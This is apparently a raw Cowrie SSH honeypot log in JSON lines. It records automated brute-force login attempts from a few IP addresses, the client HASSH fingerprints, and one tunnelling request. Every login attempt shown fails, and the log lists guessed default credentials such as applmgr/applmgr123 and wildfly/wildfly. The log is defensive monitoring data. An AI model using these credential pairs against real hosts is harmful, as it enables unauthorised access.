{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"80.94.95.116","src_port":0,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:27.732818Z","session":"cc5b36e506c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:27.977571Z","src_ip":"80.94.95.116","session":"cc5b36e506c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"camera","password":"camera","message":"login attempt [camera/camera] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:31.094117Z","src_ip":"213.209.159.158","session":"d3ffce69429f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:33.774444Z","src_ip":"213.209.159.158","session":"d3ffce69429f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":27140,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d993b7abcd0","protocol":"ssh","message":"New connection: 213.209.159.158:27140 (10.17.0.5:22) [session: 2d993b7abcd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:33.853001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:35.197335Z","src_ip":"213.209.159.158","session":"2d993b7abcd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:35.201502Z","src_ip":"213.209.159.158","session":"2d993b7abcd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"&","password":"&","message":"login attempt [&/&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:40.806340Z","src_ip":"213.209.159.158","session":"2d993b7abcd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:43.486238Z","src_ip":"213.209.159.158","session":"2d993b7abcd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":46880,"dst_ip":"10.17.0.5","dst_port":22,"session":"4981216ad5b5","protocol":"ssh","message":"New connection: 213.209.159.158:46880 (10.17.0.5:22) [session: 4981216ad5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:43.591910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:44.953849Z","src_ip":"213.209.159.158","session":"4981216ad5b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:44.957581Z","src_ip":"213.209.159.158","session":"4981216ad5b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"baikal","password":"baikal","message":"login attempt [baikal/baikal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:50.406195Z","src_ip":"213.209.159.158","session":"4981216ad5b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:54.014663Z","src_ip":"213.209.159.158","session":"4981216ad5b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":32618,"dst_ip":"10.17.0.5","dst_port":22,"session":"b96c800c3d1b","protocol":"ssh","message":"New connection: 213.209.159.158:32618 (10.17.0.5:22) [session: b96c800c3d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:54.095249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:55.353308Z","src_ip":"213.209.159.158","session":"b96c800c3d1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:23:55.356465Z","src_ip":"213.209.159.158","session":"b96c800c3d1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applmgr","password":"applmgr123","message":"login attempt [applmgr/applmgr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:00.598492Z","src_ip":"213.209.159.158","session":"b96c800c3d1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:02.745624Z","src_ip":"213.209.159.158","session":"b96c800c3d1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":56968,"dst_ip":"10.17.0.5","dst_port":22,"session":"185398a0f934","protocol":"ssh","message":"New connection: 213.209.159.158:56968 (10.17.0.5:22) [session: 185398a0f934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:02.834936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:03.808082Z","src_ip":"213.209.159.158","session":"185398a0f934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:03.810815Z","src_ip":"213.209.159.158","session":"185398a0f934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"]","password":"]","message":"login attempt []/]] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:09.025968Z","src_ip":"213.209.159.158","session":"185398a0f934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:11.404806Z","src_ip":"213.209.159.158","session":"185398a0f934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":9452,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2a619660137","protocol":"ssh","message":"New connection: 213.209.159.158:9452 (10.17.0.5:22) [session: e2a619660137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:11.484029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:12.598126Z","src_ip":"213.209.159.158","session":"e2a619660137","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:12.602357Z","src_ip":"213.209.159.158","session":"e2a619660137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applprod","password":"applprod","message":"login attempt [applprod/applprod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:17.489446Z","src_ip":"213.209.159.158","session":"e2a619660137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:19.874194Z","src_ip":"213.209.159.158","session":"e2a619660137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":9456,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2d815068439","protocol":"ssh","message":"New connection: 213.209.159.158:9456 (10.17.0.5:22) [session: c2d815068439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:19.952595Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":51466,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8af56fb45bb","protocol":"ssh","message":"New connection: 2.57.122.238:51466 (10.17.0.5:22) [session: a8af56fb45bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:20.926175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:20.929683Z","src_ip":"2.57.122.238","session":"a8af56fb45bb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:20.984732Z","src_ip":"213.209.159.158","session":"c2d815068439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:20.987905Z","src_ip":"213.209.159.158","session":"c2d815068439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:21.032606Z","src_ip":"2.57.122.238","session":"a8af56fb45bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:21.342762Z","src_ip":"2.57.122.238","session":"a8af56fb45bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:22.448881Z","src_ip":"2.57.122.238","session":"a8af56fb45bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wildfly","password":"wildfly","message":"login attempt [wildfly/wildfly] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:25.837530Z","src_ip":"213.209.159.158","session":"c2d815068439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:28.129997Z","src_ip":"213.209.159.158","session":"c2d815068439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":23586,"dst_ip":"10.17.0.5","dst_port":22,"session":"4893625978fa","protocol":"ssh","message":"New connection: 213.209.159.158:23586 (10.17.0.5:22) [session: 4893625978fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:28.241339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:29.323358Z","src_ip":"213.209.159.158","session":"4893625978fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:29.325820Z","src_ip":"213.209.159.158","session":"4893625978fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wen","password":"wen","message":"login attempt [wen/wen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:33.856620Z","src_ip":"213.209.159.158","session":"4893625978fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:36.209820Z","src_ip":"213.209.159.158","session":"4893625978fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":31684,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebff7fa268a7","protocol":"ssh","message":"New connection: 213.209.159.158:31684 (10.17.0.5:22) [session: ebff7fa268a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:24:36.288614Z"}
